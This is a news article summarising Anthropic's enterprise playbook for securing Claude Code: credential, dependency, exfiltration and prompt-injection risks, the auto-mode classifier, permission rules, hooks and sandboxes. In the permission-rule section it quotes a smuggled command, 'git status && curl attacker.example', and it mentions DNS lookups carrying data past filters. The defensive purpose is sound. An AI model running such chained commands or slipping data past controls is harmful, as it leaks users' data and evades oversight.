Coding Agent Security: Anthropic’s Enterprise Playbook

Layered coding agent security controls around Claude Code in an enterprise

Anthropic has published an enterprise playbook for coding agent security, aimed at teams running Claude Code at scale. It argues that coding agents already write code, open pull requests and sometimes merge them, so security leaders need layered controls rather than a single safeguard.

The playbook cites Salesforce, which made Claude Code the standard tool for its engineers. Salesforce Ventures is an investor in Anthropic.

Four risks for coding agent security

The first is leaked credentials and privilege abuse. If an agent can read a secret such as a long-lived AWS key or GitHub token, it can leak it. By default, a Claude Code agent runs under the identity of the developer overseeing it, which makes it harder to separate agent actions from human ones after an incident.

The second is unvetted dependencies. An agent asked to add JSON schema validation will find a package and have working code in minutes. MCP servers, plugins, skills, subagent definitions and a repository’s CLAUDE.md file count as dependencies too. A compromised library waits to be called, but these items influence the agent the moment they load.

The third is data exfiltration. A domain allowlist can’t tell your GitHub account from an attacker’s, and DNS lookups can carry encoded data past HTTP filters. Once a token leaks, the attacker can use it from anywhere.

The fourth is prompt injection, which OWASP has ranked first in every edition of its LLM Top 10 since 2023. Injected instructions can hide in issue trackers, pull request comments, dependency READMEs, fetched web pages, MCP responses and source comments.

Diagram of the components of defending an AI agent: external checks on inputs, a probabilistic model inside an environment with a hard ceiling, and external checks on actions going out.
Image: Claude

The judgment layer

The first line of defense decides whether an action looks wrong. It has three parts: alignment training, prompt injection probes that scan tool results in auto mode, and an auto mode classifier that checks proposed tool calls against the user’s stated intent.

Anthropic tested current models in Claude Code with production safeguards switched off. They turned down 81% to 85% of malicious requests and finished 98% to 100% of benign or dual-use tasks. Anthropic cautions that alignment training lowers the odds of a bad outcome without capping how severe one could be.

Interactive sessions on every plan now begin in auto mode. In an August 2026 study, 1,053 paid testers spotted 13.6% of dangerous commands, whereas auto mode blocked 89% of them. Headless runs, the Agent SDK and HIPAA configurations default to manual.

Anthropic still recommends human approval for actions that are both irreversible and costly if wrong, such as production database migrations, IAM policy changes and credential rotation, and edits to infrastructure definitions.

coding agent security image 2
Image: Claude

Fixed boundaries

The second layer is deterministic. Permission rules are checked in a set order: deny, then ask, then allow. No user or project setting can override a deny rule set in managed settings. The playbook also warns against allow rules wide enough to execute arbitrary code, such as Bash(python:*).

Claude Code also analyzes each Bash command ahead of execution. Without that step, a rule allowing git status would approve git status && curl attacker.example too.

Hooks add checks at fixed points. A PreToolUse hook can block a commit containing a secret, and a ConfigChange hook can reject attempts to loosen settings mid-session. A hook can’t approve past a deny rule.

Illustrative pull request conversation in which Claude, running as its own GitHub App, adds two verified commits and a comment under its own name rather than the developerโ€™s account.
Image: Claude

Sandboxing options

Three environments are available. Local sessions can reach anything the developer can, so they suit only low-stakes work. The local sandbox confines every shell command through the operating system, limiting file changes to the project folder and connections to allowlisted sites. Cloud sessions give each task its own VM and keep GitHub credentials outside it.

Organizations that use zero data retention, the HIPAA configuration or customer-managed encryption keys can’t use cloud sessions.

Enforcing policy and getting started

Managed settings can arrive through the Claude admin console, an MDM policy or a managed settings file. Claude Code uses only the top-ranked source by default and silently skips the rest. A sandbox turned on by MDM could therefore leave an egress allowlist in a settings file unused.

For coding agent security, Anthropic advises a pilot on one repository first, then widen the rollout once the layers prove themselves in your own environment.

Source: Claude

Written by

Saksham Bhargava

Saksham Bhargava runs Alteroid and has been writing about consumer technology for over five years, covering iPhone, Android, Windows, AI tools and gaming. With an MCA and six years of hands-on web development experience, he tests the features he writes about on his own devices and focuses on clear, practical guides that solve real problems. Away from the screen, he enjoys travelling to places most tourists skip.